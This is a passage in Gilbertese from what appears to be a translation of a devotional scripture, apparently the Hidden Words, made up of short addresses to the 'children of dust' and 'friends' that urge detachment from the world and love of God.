kauntaba n akea oin bukina ao e ukoukora karakaan arona i aon tarina. Atongnga, O ngkami tariu! Kariki am mwakuri, ao tiaki am taeka, bwa katamaroaami.\nO NATIN TE AONAABA!\nAtaia, ni koaua, te nano ike e tiku iai taribin te mataai, e na bon aki karekea Au tautaeka are akea tokina, ke n ikena karewen te boiarara ae e tabu are e ikeike man Au abanuea ae e tabu.\nO NATIN TE TANGIRA!\nAi bon ti teuana te rangata raroam man rietaata ake a mimitong i eta ao man te kai ni karawa n tangira. Tabeka am rangata teuana ao ni waakim are i mwiina nakon te abanuea ae e aki maamate ao riin ni umwan te aki tootoki. Anga taningam ngkanne nakon are e a tia ni kaotaki man kainikorobokin te mimitong.\nO NATIN TE MIMITONG!\nKataweko i nanon kawain te katabuaki, ao riin inanon karawan te itoman ma Ngai. Kaitiaka nanom ma ana bwai ni karaneanea te tamnei, ao kawaekoako nakon nanoaan oon te Kabanea n Rietaata.\nO TE NUU AE E WAEKOA NI BUA!\nKamwaawako nako man taian karinan ake mai nano ibukin te nanououa ao waerake nakon rietaatan te koaua raoi. Kauka matan ae koaua, bwa ko aonga n noora te Tamaroa ae e aki rabunaki ao n atonga: E katabuaki te Uea, te kabanea n tamaroa ibuakoia karikibwai nako!\nO NATIN AE E TANGIRI BWAI NAKO!\nAnga taningam nakon aei: E bon aki kona te mata ae e maamate ni kina te Tamaroa ae akea tokina, ke te nano ae mate bwa e na kukurei n te bwai teuana ma ti n te uee ae e rai. Bwa te aekaki teuana e bon ukoukora are aekana, ao ni kukurei n ikotaki ma ake bon aekakina.\nO NATIN TE BUBUNTANO!\nKamataki matam, bwa ko aonga n noora Tamaroau; kaini taningam, bwa ko aonga ni kakauongo nakon tangiraoin karewen Bwanaau; kaikiko man rabakau nako, bwa ko aonga ni karekea tibwangam man Au atatai, ao katabua maium man taian kaubwai, bwa ko aonga ni karekea te tibwanga ae akea tokina man marawan Kaubwaiu ae e teimatoa n aki toki. Kamataki matam, ngkanne, nakon bwaai nikabane ma ti Tamaroau; kain taningam nakon bwaai nako ma ti Au taeka; kaikiko man rabakau nako ma ti n Rabakau; bwa ma te taratara ae e itiaki, te nano ae kororaoi ao te taninga ae e kakauongo raoi ko na kona n rinnako inanon nanoaan oon Au katabuaki.\nO TE AOMATA AE UOUA AM TARATARA!\nKaina matam teuana ao kauka are teuana. Kaina teuana nakon te aonaaba ao bwaai nikabane ake i nanona, ao kauka are teuana nakon tamaroan Teuare E tangiraki ae e tabu.\nO NGKAMI NATIU!\nI maaku bwa e raawa ae, ko kakeako man tangiraoin te taobe ni karawa, ko na manga iinako rikaaki nakon nuun te bua ni koaua, ao, n tuai naba teutana ni karekea taraan tamaroan te rooti, ko na okirikaaki nakon te ran ao te tano.\nO RAAO!\nTai kitana te tamaroa ae akea tokina ibukin te tamaroa ae e na riai ni mate, ao tai karekea tangiran te aonaaba ni bubuntano ae e maamate aio.\nO NATIN TE TAMNEI!\nE na roko te tai, ngkana te naitengkare ae e tabu e nang aki taakinii nako kamiimi ake i nanoaa ao kam na bane ni kaakeaaki man tangiraoin te kuna ae e tabu ao te bwanaa mai i eta.\nO NGKOE OIN TE AKI TATABEAKIN!\nKakaokoron mwaitin taian neewe aika a kamimi a kunea te taetae n teuana te taetaenikawai, ao kakaokoron mwaitin taian miterio aika a raba a kaotaki n tekorana tangiraoin te kuna; ma, ai kananoangara, akea te taninga are e na ongo, ke te nano ae e kona ni mataata iai.\nO NGKAMI RAAO!\nMataroan tinanikun te kaawa ake a uki n te Akeantabo a tei n ukinako nako ao mwengan temanna are e tangiraki e katamaroaaki ma raraaia taan tangira, ma nikabane, n tiku ti tabeman mai buakoia, ake a tiku ni kamwawaaki man te kaawa ni karawa aio, ao mai buakoia aika ti tabeman aikai, akea ma bon ti te abutana ae e uarereke mwaitiia ake a kuneaki ma nanoia ae e itiaki ao tamneia ae e katabuaki.\nO NGKAMI TAAN MAEKA N TE KABANEA N RIETAATA NI BWARETAITI!\nKatanoata nakoia natin te karaunano bwa inanon aonnaban te katabuaki, ni kaan nakon te bwaretaiti ni karawa, e a tia ni kaoti te onaroka ae e boou, are a otabwaniniia taan maeka n te abanuea are i eta ma taan maeka aika a aki kona ni maamate n te bwaretaiti are e karietaaki. Kekeiaki, ngkanne, bwa ko n roko n te karinan arei, bwa ko aonga ni kabwaranakoi miterion nako te tangira man ueenangina ao n reiakinaki karaban te tamnei ae e wanawana ao ikoikoti man uaana aika akea tokiia. A karauakaki rauaki mataia naake a rinnako ao ni maeka i nanona.\nO RARAOU!\nKam a tia ni mwanuoakina te ingaabong are e koaua ao n otanako, ngke inanon te otabwanin ae e tabu ma ni kakabwaiaaki kam bane n ikotaki Irarikiu iaan nuun kain te maiu, are e unikaki n te bwaretaiti are te kabanea ni mimitong? Ma te mimi kam kakauongo ngke I taekini taeka aika tenua aika moan te tabu: O raraou! Tai tangira nanom nakon\nNanou, bon tai naba tangira te bwai are I aki tangiria ibukim, ao tai Kawarai ma nanom ae e mate, ae e kabarekaaki ma tangiran te aonaaba ao bwaai ake e kakai nanom n tangirii. Ke arona bwa kam katabua tamneimi, kam na bon n te aoa aio n uringa te otabwanin arei, ao koauan Au taeka e na riai ni kaotaki koauana nakoimi ni kabane.\nInanon te kawaniua n rain ae e tabu, inanon te kanimaua n Tabureti n te Bwaretaiti, E kangai:\nO NGKOE AE KO WENE N AI ARON TE MATE I AON KAINIWENEN TE AKI TATABEAKIN!\nA waaki nako rooro ao maiumi aika a kakaawaki a roko n tokiia, ma bon akea naba teuana ikeiken te itiaki ae e a tia n roko inanoaan Ara oo ae e katabuaki mai iroumi. E ngae ngke ko tare inanon marawan te aki kakoaua, ma riam ko taekina koauan Ana aro te Atua ae ti teuana. Teuare I koro n ribaia ko a tia n tangiria, ao Au kairiribai ko karikia bwa raraom. N aki tabe, ko nakonako i aon Au aonaaba n rau ao n rauaki i bon iroum, n aki kuba n ae Au aonaaba e a kua iroum ao bwaai nikabane ake inanona a ribaiko. Ke arona bwa ko kaurea matam, ko na bon, ni koaua, tangiri riki taian karawawata aika a mwaiti aekaia nakon te kukurei aei, ao ni wareka te mate bwa e raoiroi riki nakon te maiu aei.\nO RABWATAN TE BUBUNTANO AE E KAKAMWAKURI!\nI tangiria n itoman ma ngkoe, ma ko aki katuka am onimaki Irou. Kabaangin am kakaitara e a tia ni kabwakaa kain am kaantaninga. N taai nako I kaan nakoim, ma ko bon raroa Mai Irou. Te mimitong ae e aki kona ni mate ae I a tia n rineia ibukim, ma ko rinea te kamaemaeaki ae akea tokina ibukim. Ngkai bon iai naba te tai, oki, ao tai kabuaa am tai aei.\nO NATIN AE E TANGIRI BWAAI NAKO!\nTaan ataibwai ao taan niniwana a bon tia inanon ririki aika mwaiti ni kekeiaki ao ni konaaki ni karekea kaanian te Kabanea ni Mimitong; a ti ni kabanea maiuia n Ukoukoria; ma a bon aki roko n noora tamaroan Moana. Ngkoe n akea naba teutana am kekeiaki ko karekea am kouru, ao n aki ukeuke ko a tia ni karekea rokom ni boton am kakae. Ma, e ngae n anne, ko tiku n rabunaki inanon rabunanimatan oin nanom, n te aro are matam a aki noora tamaroan Teuare E tangiraki, ke baim n riinga rabin Ana kamwarai. Ngkoe ae iai matam, noria ao iangoia.\nO TAAN MAEKA NI KAAWAN TE TANGIRA!\nRebwen bwaai aika a maamate a riki bwa kanganga aika a teimatoa nakon te taura te nenea ae akea tokina, ao tamaroan te Kairake ni karawa e rabunaki n rotongitongin te bubuntano. Te tiibi mai buakoia uean te tangira e bukinaki bwa e kaairua irouia aomatan te iowawa ao taoben ae e tabu e wene ni kabureaki inanon ukin waeia auro (owl). Taan maeka inanon umwan te mimitong ao kaain te runga ni karawa, a tanginiwenei ao a bwaebwaeti, ao ngkoe ko wene n rau n aonaaban te aki tatabeakin, ao n iangoi ngkami bwa raao ni koaua. Ai aki bonganara am iango ni katautau akanne!\nO NGKAMI AIKA KAM NANOBABA, MA IAI ARAMI NI KAN WANAWANA!\nBukin tera ngkai kam bwaini bwaiia taan kaawakin tiibu ni karabai ngkami iai, ngke inanomi kam a tia n riki bwa kameanti, n iai ami kantaninga irouia Au nanai? Ngkami ai aron te itoi, are e otirake n te karangaina, ao are, e ngae ngke e taraa n oota ao n raneanea, e kairiia naake man Au kaawa ake a bua ni kabuaa kawaia nakon kawain nako te urubeke.\nO NGKOE AE KO TARA N TAMAROA MA NANOM E BAAREKA!\nNgkami bon ai aron te ran ae e itiaki taraana ma e bon kamangiingi, are n taraakin tinanikuna ai aron te kurititaro ae e itiaki ma are, ngkana e tuoaki iroun te Tia Tutuo n tamnei, akea te timna ae e butimwaeaki. Eng, titebo aron ruon ootan taai nako aon te bubuntano ao te tirotaam, ma e kaokoro aron otanakona mai iaoia n ai aron taai man te aonaaba: bon tiaki, e aki konaa ni uakoraki aron te kaokoro.\nO RARAOU N TE TAEKA!\nIango ni karaurau inanon tabeua te tai. Ko a tia n ongoongo ae te rao ao te kairiribai a riai ni maeka inanon teuana te nano? Kaotinakoa ngkanne te ianena, bwa e aonga te Rao n rin ni Mweengana.\nO NATIN TE BUBUTANO!\nBwaai nikabane ake i karawa ao iaon te aonaaba I a tia ni kataui ibukimi, ma ti nanon te aomata, are I a tia ni karaoia bwa nnen Tamaroau ao Mimitongiu; e ngae n anne ao ko a tia n anga Mweengau ma Au tabo ni maeka nakon temanna Irarikiu; ao ni katoaa te tai are kaotiotan Tabuu e ukoukora oin Ana tabo, e kunea te ianena iai, ao, n akea Mwengana, e kawaekoaa nakon Ana Tabo ni katantan Teuare E tangiraki. E ngae n anne I karabai am karaba ao I n aki tangira kamaemaeam.\nO NGKOE OIOIN TANGIRAN BWAAI NAKO!\nE mwaiti te karangaina are I rairaki nako man abanuean te Akeantabo nakon am tabo, ao ni kuneko iaon kainiwene ni mwengaraoi ni katabeko ma tabeman riki Irarikiu. Ai ngaia are, n aron birin te tamnei, I oki nakon abanuean te mimitong ni karawa ao n aki ikeikenna nakoia kaaina aika a tabu n Au tabo are i eta.\nNATIN TE ATATAIAOMATA O!\nMan rereuan te aakea, ma tanon Au kaetieti ao I karikiko bwa ko na kaoti, ao I a tia ni kataua ibukin am kataneiai taian 'atom' aika a maiu ao oioin bwaai nikabane aika a karikaki. Ai ngaia are, ko a tia n otinako mai nanon biroton tinam, I kataua ibukim uoua koburake ni miriki aika a raneanea, maata bwa a na tantaniiko, ao naano bwa a na tangiriko. Man Au tangira n aakoi, i aan nuun Au nanoanga I kaikawaiko, ao ni kaawakiniko n oioin Au mwannano ao Au akoi. Ao bukin karaoan aikai nikabane Irou bwa ko aonga ni karekea Au tautaeka ae akea tokina ao n riki n tau ni koaua ibukin Au bwaintituaraoi aika a aki noraki. Ao e ngae n anne ko bon teimatoa n tiku n aki tatabeakin, ao ngke ko a ikawai raoi, ko a kaaki taekan Au kakabwaia nikabane ao ko katabeko ma iango ni katautau aika akea\nnanoia, ao n te aro are ko a mwaninga nako n tabwaninna, ao, n rairaki nako man Ana mataroa te Rao ko a maeka i nanoaan oon Au kairiribai.\nO ANA TORO AE E KABAEBAEAKI TE AONAABA\nE mwaiti te karangaina are e uki nako aom angin Au tangira n akoi ae e aabebete ao ni kuneko iaon te kainiwene n aki tatabeakin ni matu nako. Ni bwaebwaeti n te bwai are e riki nakoina e okirikaaki nakon te tabo are e roko mai iai.\nO NATIN TE AONAABA!\nNgkana ko Rineai, tai ukoukora temanna riki Irarikiu, ao ngkana ko taraa Tamaroau, kaina matam nakon te aonaaba ao bwaai ake iai; bwa are I nano iai ao are e nano iai temanna Irarikiu, n ai aron te ai ao te ran, a aki konaa ni maeka i nanon teuana te nano.\nO TE IANENA AE E KARIKAKI BWA TE RAO!\nTe taura te nenea i nanom e kauraaki n te bai ae Mwaakau, tai tiringnga n te ang ni kaitara are oin nanom ao bwaai ake ko tangiri. Te tia katokii aoraki nako bon Uringakiu, tai mwanuokinna. Karika Au tangira bwa kaubwaim, ao nabenabeia n ai aron am taratara ao maium.\nO NGKAMI TARIU AE TE MWAANE!\nKakauongo nakon kakukurein taeka man Neweu ae karewen te anii, ao mooi man karaangan te kamimi ni karawa man Riau ae e kawaanakoi karewerewe. Uniki koraan Au niniwana ni karawa inanon tanon nanom ae e itiaki, ao tebokii n ranin te onimaki, bwa e aonga te atinta n Au rabakau ao Wanawanau n rikirake ni boureirei ao ni kiriin inanon kaawan nanom ae e tabu.\nO TAAN MAEKA N AU BWARETAITI!\nMa tabonibain te tangira n akoi I a tia n unika inanon te onaroka ae e tabu n te bwaretaiti te kai ae e a tibwa bwebwerake are am tangira ao am iraorao, ao n tia n tebokia ma karaun te raoiroi man Au tituaraoi ae e akoi; ao ngkai e a roko auan taina ni uaa, kekeiaki bwa e na kamanoaki, ao n aki kanakinako ni uran tangiran bwaai nako ao te kaibwabwaru.\nO RARAOU!\nTiringa ngkoe tauran te kaairua, ao kauraa i nanon nanomi tootin te kairiiri n tamnei ae akea tokina. Bwa n te tai ae e aki maan, taan tuoia te botannaomata a na bon, inanon kaaniaan te Tangiraki ae e tabu, ni butimwaea te akea ma ti te kabanea n itiaki n aroaro ao mwakuri aika a tabu aika akea memeaia.\nO NATIN TE BUBUNTANO!\nTaan wanawana bon naake a aki taetae ma ti ngkana a karekea te kakauongo, n ai aron te tia uota te mwangko, are e aki anganako te mwangko ni karokoa e kunea te tia ukeuke, ao te tia tangira are e aki tang mai kabin nanona ni karokoa e karekea taraakin tamaroan are e tangiria. Ai ngaia are uniki koraan te niniwana ma te ataibwai inanon tanon te nano ae e itiaki, ao kawakini ni karabai, ni karokoa te atinta n niniwana ni karawa e bwebwerake man te nano ao tiaki man te bokaboka ao te tano.\nInanon te moan rain n te Tabureti e raweaki ao e koreaki, ao inanoaan te tabo ae e tabu n Ana umwanrianna te Atua ae e karabaaki:\nO AU TORO!\nTai kaaki te tautaeka ae e rietaata ae akea tokina ibukin te bwai ae e maamate, ao tai kaaki te tautaeka ni uea ni karawa i bukin tangiran bwain te aonaaba. Aio te karaanga ibukin te maiu ae akea tokina are e wawaanako man mwanibwan koburaken Ana kainikoroboki te Kabanea n nanoanga; a kabwaia ake a mooi!\nO NATIN TE TAMNEI!\nUrubekea nako oom, ao n ai aron te binikiti n tangira kibarake ao tabeibeti inanon kamatoan te katabuaki. Kaaki taekam ao, ni kaonaki n tamnein te nanoanga, maeka n abanuean te katabuaki ni karawa.\nO ANA KARIKIBWAI TE BUBUNTANO!\nTai rauaki ni kamwengaraoin taonnakon teuana te bong, ao tai kaakea mai iroum te motirawa are akea tokina. Tai raira te onaroka ae akea tokin kakukureina ibukin te bwariko ni bubuntanon te aonaaba ae e maamate aio. Teirake man am karabuuti ao rierake nakon te tawaana ae e mimitong i eta, ao man oom ae e maamate iaon bainnikibam kibarake nakon bwaretaitin te Akeantabo.\nO AU TORO!\nKainaomatako man kabaebaen nako te aonaaba aei, ao kamwaawa tamneim man karabuutin oin nanom. Rawea am tai ae ko anganaki, bwa e aki manga okiriko.\nO TE NATIN TE MWANE AE NATIN AU TABONIBAI TE AINE!\nKo noora te tautaeka ni uea ae e aki maamate, ko na bon kekeiaki ni kitana te aonaaba ae e kai taonnako aio. Ma karabaakin teuana mai iroum ao kaotaki are teuana bon te miterio ae akea ma bon ti a itiaki nanoia ae a kona n ota iai.\nO AU TORO!\nKaaki mai nanom te tabare ao, aki ataan te mataai, riin inanon oon tamnein te katabuaki.\nO RARAOU!\nNakonako inanon kawain kukurein te Rao, ao ataia bwa Kukurein Nanona e bon mena inanon kukureia Ana karikibwai. Are aio: akea te aomata ae e na rin inanon ana auti raraona ma ti ngkana e kukurei nanon raraona, ke n anai kaubwaina ke n tangira riki nanona nakon nanon raoraona, ao e na bon aki kakaea karekean rakan arona iaon raoraona. Karaurau n iangoa aei, ngkoe ae iai am taratarannano.\nO RARAOU N AU KAINTOKANUEA!\nTai ongo te buaakaka, ao tai noora te buaakaka, tai kamaemaeko, tai ikenrawa ao tai tanginiwenei. Tai taekina te buaakaka, bwa ko aonga n aki ongo taekinana nakoim, ao tai kaotarai aia kaairua tabemwang bwa aonga n aki kaotaki am kaairua ni korakora; ao tai tangira kamaemaeaia tabeman, bwa e aonga n aki kaotaki kamaemaeam. Maiuakini ngkanne bongin maium, aika a karako riki nakon te tai ae e waekoa n taonnako, ma am iango ae e aki memea, nanom ae e aki kabarekaaki, kanoan ma iango ae e itiaki, ao kateim ae e katabuaki, bwa e aonga, ni kainaomataaki ao n rauaki, ko na kona ni kaaki nanan te rabwata aio, ao n nakon te bwaretaiti ae e miterio ao ni maeka inanon te abanuea ae akea tokina n aki tootoki.\nAI KANANOKAWAKIRA! AI KANANOKAAWAKIRA! O TAAN TANGIRI BWAAI AKE A TANGIRAKI N TE AONAABA!\nN ai aron butimwaakan te iti ko a tia n taonnako mai Rarikin Teuare e Tangiraki, ao ni katurua nanom iaon bwaai ake ko tangirii aika anua n taatan. Ko katorobubua i matan ami iango ni katautau, ao ko aranna bwa te koaua. Ko raira matam nakon te kateketeke, ao ko aranna bwa te uee. Akea ikeikem ae e itiaki ae ko a tia n ikeikena, ao akea te ang ae e aabebete ibukin te kamwawaaki ae e a tia n ukaki man tawaanan nanom. Ko a tia ni karenakoi nakon te ang Ana reirei aika a tatangira Teuare E Tangiraki ao n tia ni kamaunai n tabwaninna man taburetin nanom, ao n ai aroia maan n te tawaana, ko kakamwakuri ao ni katuka rabwatam inanon tawaanan tangiran bwaai ao te kaibwabwaru.\nO RAAO INANON TE KAWAI!\nE aera ngkai ko aki tabeakina taekinan Temanna are E Tangiraki, ao ni kararoako nako ma Kaaniana ae e Tabu? Oioin te tamaroa bon inanon te umwa ae akea kabotauana, are e katokaaki iaon te kaintokanuea ni mimitong, ao kam bon tabe ni katabei ngkami ma unimi aika akea nanoia. Karewen katomamian te katabuaki a ikeikenaki ao ikeiken te bwaintituaraoi e kakianakoaki, ma ko bon rotaki ni kaakaiaki ao ko tukaki mai iai. Ai kananokaawakira ibukim ao ibukiia naake a nakonako inanon kawaim ao n iriira mwanekan waem!\nO NAATI N TANGIRI BWAAI NAKO!\nKanakoa kamwarain te mataaiakiniko i bon iroum, ao kaakiko man kunikain te kamoamoa.\nInanon te katenua ni kabanea n tabu n rain ae e koreaki ao n raweaki inanon te Tabureti ae e Rubii man te kainikoroboki ae e aki noraki aio ae e kaotaki:\nO TAARI!\nTaotaon nanomi temanna ma temanna ao tai tangiri bwaai ake i nano. Tai kamoamoako ni mimitongim, ao tai maama n te kamaemaeaki. N Tamaroau! I a tia ni kariki bwaai nikabane man te bubuntano, ao nakon te bubuntano are Nna manga kaoki nako iai.\nO NAATI MAN TE BUBUNTANO!\nTuangiia kaubwai tangitangiia kainnano n te nukanibong, bwa e raawa te aki kukuba ni kairiia nakon kawain te urubeke, ao ni kamwawaaia man Kain te Kaubwai. N angaanga ao n tituaraoi bon Aroarou; e a kabwaia are e katamaroaa ma Aroarou.\nO BOTON TE KAIBWABWARU!\nKatinanikui nikabane aekakin mataai ao ukoukora te rauaki; bwa te tia mataai e a bon ngae ni kaakeaa man tibwangana, ao are e rauaki e a bon ngae n rangin tangiraki ao ni kamoamoaaki.\nO TE NATI TE MWANE AE NATIN AU TABONIBAI TE AINE!\nTai rootaki n te maiu ni kainnano ke n onimaki n te kaubwai, bwa te maiu ni kainnano e rimwiaki n te kaubwai, ao te kaubwai e rimwiaki n te kainnano. Ma te maiu ni kainnano ni bwaai nikabane ma ti Te Atua bon te bwaintangira ae e rangin tamaroa, tai kamangora kakaawakin aei, bwa n tokina e na karikiko ni kaubwai Iroun Te Atua, ao ngkanne ko na ataa nanon te taetae aei, \"Ni koaua ko bon kainnano,\" ao taeka aika a tabu aikai, \"Te Atua bon te Tia Bwaibwai ni Bwaai nikabane,\" e na bon tabwena koauan ingabongina ni mimitong raneaneana i aon oraitanin nanon te tia tangira, ao ni maeka n rau iaon kaintokan te kaubwai.\nO NAATI N TE AKI TATABEAKIN MA NI KAIBWABWARU!\nKam a tia ni karawawata Au kairiribai bwa e na rin n Au auti ao ni kanakoa Raraou, bwa kam a tia ni bangota tangiran temanna riki Irarikiu i nanomi. Anga taningami nakon ana taeka te Rao ao rairaki nakon Ana bwaretaiti. Raao aika a tangiri bwain te aonaaba, n ukoukora bon karakaan aroia, a taraa n itangitangiri i marenaia, ma te Rao ni koaua E a tia tangira ao n teimatoa n tangiri ngkami bon ibukimi; ni koaua e a tia ni karawawataaki ni karawawata aika a mwaiti ibukin kairirakimi. Tai bwaina te aki kakaonimaki nakon te Rao anne, ma kam na kawaekoai ngkami Nakoina. Anne bon itoinigainan taekan te koaua ao te kakaonimaki, are e a tia n ingi iaon oraitanin kainikorobokin Ueaia aara nako. Kauki taningami bwa kam aonga ni kakauongo nakon Ana taeka Te Atua, te Buoka n tain te kanganga, te Maiu i bon Irouna.\nO NGKAMI AIKA KAM KAMOAMOAI NGKAMI I AON KAUBWAI AIKA A KAI MATE!\nAtaia n te koaua bwa te kaubwai bon te bwai n tuutuki ae e korakora imarenan te tia ukeuke ao are e tangiria, te tia tangira ao are e tangiria. Naake a kaubwai, ma ti tabeman, a na bon aki karekea rokoia inanoaan oon Kaniana ke n rinnako inanon te kaawa ae e bubura ibukin te rauaki ao te aantaeka. E a kabwaia ngkanne teuare, are, inanon kaubwaina, e aki tuukaki ni kaubwaina man te abanuea are akea tokina, ke ni kakeaaki mai irouia naake e aki maamate aia tautaeka. Iroun te Ara are Moan te Kakannato! Otanakon te aeka n aomata ae e kaubwai anne e na kaotaiia taan maeka i karawa n aron taai ae e kaotaiia aomata iaon te aonaaba!\nO NGKAMI KAUBWAI I AON TE AONAABA!\nKainnano akana ibuakomi bon Au taan mwiokoaki, tararuaia Au taan mwiokoaki, ao tai ti katabei ngkami ma oin kabeebeteami.\nO NATIN TE KAIBWABWARU!\nKaitiakiko man barekan nako te kaubwai ao ni kororaoin te raoi waaki nakon aonaaban te kainnano, bwa man mwanibwan raangan ranin te kamwawaaki ko na kona ni mooi ni wainin te maiu ae e aki kona ni mate.\nO NATIU TE MWAANE!\nAia botaki naake akea te raoiroi irouia a karikirakea te nanokaawaki, ma te itamwaomwao ma naake a etieti a kaitiaka te rara ni biti man te nano. Teuare e ukoukora te itoman ma te Atua, ke e uotia nakon raonakiia naake a tangiraki Irouna; ao are e tangiria ni kakauongo nakon Ana taeka te Atua, ke e anga taningana nakon aia taeka naake E rineiia.\nO NATIN TE BUBUNTANO!\nTarataraiko! Tai nakonako ma naake a aki raoiroi ao tai ukoukora te itamwaomwao ma ngaia, bwa te iraorao ma ngaia e raira ootan te nano nakon te ai ni moone ae e korakora.\nO TE NATI TE MWANE AE NATIN AU TABONIBAI TE AINE!\nNgkana ko na ukoukora raoiroin te Tamnei ae Raoiroi, riin n itamwaomwao ma naake a etieti, bwa are e a tia ni mooi man mwangkon te maiu ae akea tokina man bain Te Tia Uota te Mwangko n ai aron te ingabong ni koaua e a tia ni kamaiuia ao ni kaotai nanoia maate.\nO NGKAMI AIKA KAM AKI MWEMWEUTI!\nTai iangoia bwa karaban nako te nano a wene n raba, bon tiaki, ataia ni koaua bwa inanon manintaeka aika a teretere a kaaraki ao a kaotaki n tangaina inanon Kaaniana ae e tabu.\nO RARAOU!\nNi koaua I kangai, te bwai are ko karabaa inanom Iroura a bon uki ao n otanako n ai aron te ngaina; ma ngkai e karabaaki anne bon man Ara tituaraoi ao Ara akoi, ao tiaki ibukina bwa ko tau nako iai.\nO NATIN TE AOMATA!\nTe timna te aoi man marawan te nanoanga ae akea kabina are I a tia ni kabwaroa nako aoia aomatan nako te aonaaba, ma akea ae e kuneaki n rairaki nako iai, n ai aron are nikabane a tia n rairaki nako man wainin te katiteuana n tamnei nakon kammairan taangkongkon te bareka, ao, n rauaki ma te mwangko ae e maamate, a tia ni kamwawaa nako mwangkon te tamaroa ae akea tokina. Kammairana are e a rauaki iai.\nO NATIN TE BUBUNTANO!\nTai rairi nako matam man Ana wain ae akea kabotauana Teuare E tangiraki ae E aki maamate, ao tai kauki nakon tangkongko aika a kammaira ao a maamate. Anaia mai bain te Tia Uota te Mwangko n tamnei te mwangko ibukin te maiu n aki toki, bwa taian niniwana nako a na riki bwa am bwai, ao bwa ko aonga ni kakauongo nakon te bwanaa ae e miterio ae e weewete man te aonaaba ae e aki noraki. Takaarua, ngkami aika a rinano ami kaantaninga! Bukin tera ngkai kam tannako man Au wain ae e tabu ao ae e aki maamate nakon te ran ae e kai maunanako?\nO AOMATAN TE AONAABA!\nAtaia, ni koaua bwa te kabuanibwai ae e korakora ae e aki kaantaningaaki e bon iririko, ao karawawatan te kabomwi e tataningaiko. Tai iangoia bwa te mwakuri are kam a tia ni karaoia e a tia ni kamaunaaki mai Matau. N Tamaroau! Nikabane ami mwakuri a bon tia ni koreaki n Au kainikoroboki ma manna aika a tangaina iaon tabureti aika a kuritiroraite.\nO TAAN IOWAAWA N TE AONAABA!\nKaaki baimi man te tua buaka, bwa I a tia ni berita Nakoiu bwa Nna aki kabwara ana bure te aomata ae e motibuaka. Aio au boraraoi are I a tia ni kamatoa ao n aki kona ni kamauna inanon te tabureti ae e kawakinaki ao n titambwanaki ma titambwan Au mimitong.\nO TAAN KAKAITARA!\nAu taotaonannano e a tia ni kaninikoriako Au karawawataaki ae e maan e a tia ni karikiko n aki kuba, n te aro are ko a tia ni kaunga riki kabutimwakaan uran ain te kaibwabwaru nakon kawai aika a kamaamate ake a kairiiri nakon te urubeke. Ko a tia n iangoia bwa I aki kuukuba ke tao I aki ataa taekana?\nO TAAN NAKO NI MAEKA N TE TABO TEUANA!\nTe newe I a tia ni karaoia ibukin Tataekinau, tai kabuakaka ma ae e rinano riki. Ngkana ain tangiram i bon iroum e taoniko nako, uring oin am kaairua ao tiaki aia kaairua Au karikibwai, n ai aron ae ngkami nikabane kam bon atai riki ngkami i bon iroumi nakon ataakiia riki tabeman.\nO NATIN TAIAN KATAUTAU AIKA AKEA NANOIA!\nAtaia, ni koaua, bwa ngkai e tabe n tabwena otanakon te karangaina iaon oraitanin te katabuaki ae akea tokina, taian karaba nako n taatan ao mwakuri ake a karaoaki n roon te tairiki a nang kaotaki i mataia aomatan te aonaaba.\nO TE UTEUTE ARE KO TEBERAKE MAN TE BUBUNTANO!\nBukin tera tabonibaim aika a baareka aikai a tuai man riinga moa oin ami kunnikai, ao bukin tera nanom ae e baareka ma tangiran bwain te maiu aio ao te kaibwabwaru e ukoukora te kan itoman ma Ngai ao n rinnako inanon Au abanuea ae e tabu? Ko rangin raroa, n rangin raroa nako ma te bwai are ko tangiria.\nO NATIN ATAM!\nTaeka aika a tabu ao mwakuri aika a itiaki ao n tamaroa a rierake nakon karawan te mimitong ae e tabu. Keiaki bwa e aonga am mwakuri ni kaitiakaki man bubuntanon nanom ao bwainakin te kewe ao kunea butimwaeam inanon oon te mimitong; bwa n te tai ae e aki maan ao taan tirirekeia te botannaomata a na bon, inanon kaanian Teuare E Tangiraki, a na butimwaea akea riki ma bon ti te aroaro ae e bwanin ao mwakuri aika a itiakiroro n aki memea. Aio itoinigainan te niniwana ao te miterio ni karawa are e a tia n otanako iaon oraitanin te kaantaninga n tamnei. A kakabwaiaaki ake a rairaki nako iai.\nO NATIN TE IANGO N AONAABA!\nE kakukurei te abanuea ni maiu, ke arona bwa ko na karekea rokomi iai; e mimitong tautaekan te aki tootoki, ngkana ko kitana te aonaaba ae e maamate aio, e karewerewe te kimwareirei ae tabu ngkana ko mooi man mwangkon te miterio man bain te Kairake ni karawa. Ngkana ko karekea te karinan aei, ko na kainaomataaki man te urubeke ao te mate, man te karawawata ao te bure.\nO RARAOU!\nKauringa n ami iango te boraraoi are kam a tia n rinnako iai ma Ngai i aon Maungan Paran, are e mena n te tabo ae tabu i Zaman. I a tia ni anaia bwa te tia kakoaua kaain te runga are i eta ao taan maeka ni kaawan te aki tootoki, ma ngkai akea ae I kunea ae e kakaonimaki nakon te boraraoi. N te koaua te kamoamoa ao te kakaitara a tia ni kamaunaa mai nanoia, n te aro are akea mwiina ae e tiku mai iai. Ma n ataakin aei, I tataninga ao I aki kaotia.\nO AU TORO!\nNgkoe titebo ma te kabaang ae e karauaki raoi ni kakangiaki ae e raba i nanon rotongitongin bwautina ao mwaitin boona e raba man ana atatai te tia karaoia. Ai ngaia are otinako man bwautim are bon tangiram i bon iroum ao tangiran bwain te aonnaba bwa e aonga n oota nako ao ni kaotaaki nako aon te aonaaba nikabane.\nO RARAOU!\nNgkoe itoinigainan karawan Au katabuaki, tai kariaia baarekan te aonaaba bwa e na kanuua otanakom. Taekaa nako rabunanimatan te aki tatabeakin, bwa mai akuun te nang ko na kona n otinako n otamwaaka ao ni kunnikaini bwaai nako ma kunikain te maiu.\nO NATIN TE KAMOAMOA!\nIbukin te tautaeka ni uea ae e kai maunanako kam a tia iai ni kitana Au tautaeka ae e aki kona ni maamate, ao n tia ni katamaroai ngkami ma kakukurein nako te aonaaba ao ni karikia bwa kan kamoaakimi. N Tamaroau! Nikabane Nna botiia iaan ti tematana te rabuna ae te bubuntano ao ni kamaunai kakaokoron matamata aikai ma ti naake a rinea Au mata, ao are e na kanakoaki man maata nako.\nO NATIN TE AKI TATABEAKIN!\nTai karekea tangiran te tautaeka ae e maamate ao tai kukurei iai. Ngkami ai aron te mannikiba ae e aki ataibwai are e anene i aon te mwaanga n onimakinna i bon irouna; ni karokoa te tai are n te aro ae e karina te Mate man te tia tiriman e karenakoa iaon te bubuntano, ao te anene, te rabwata ao matan kunna a mauna nako, n akea mwiina naba teutana. Ngaia are, taratarai ngkami, O taan toronaki n tangiran bwain te aonnaba aio!\nO TE NATI TE MWANE AE NATIN AU TABONIBAI TE AINE!\nTe kairiiri e a ngae ni karuoaki rinanon te taetae, ao ngkai e a karaoaki n te 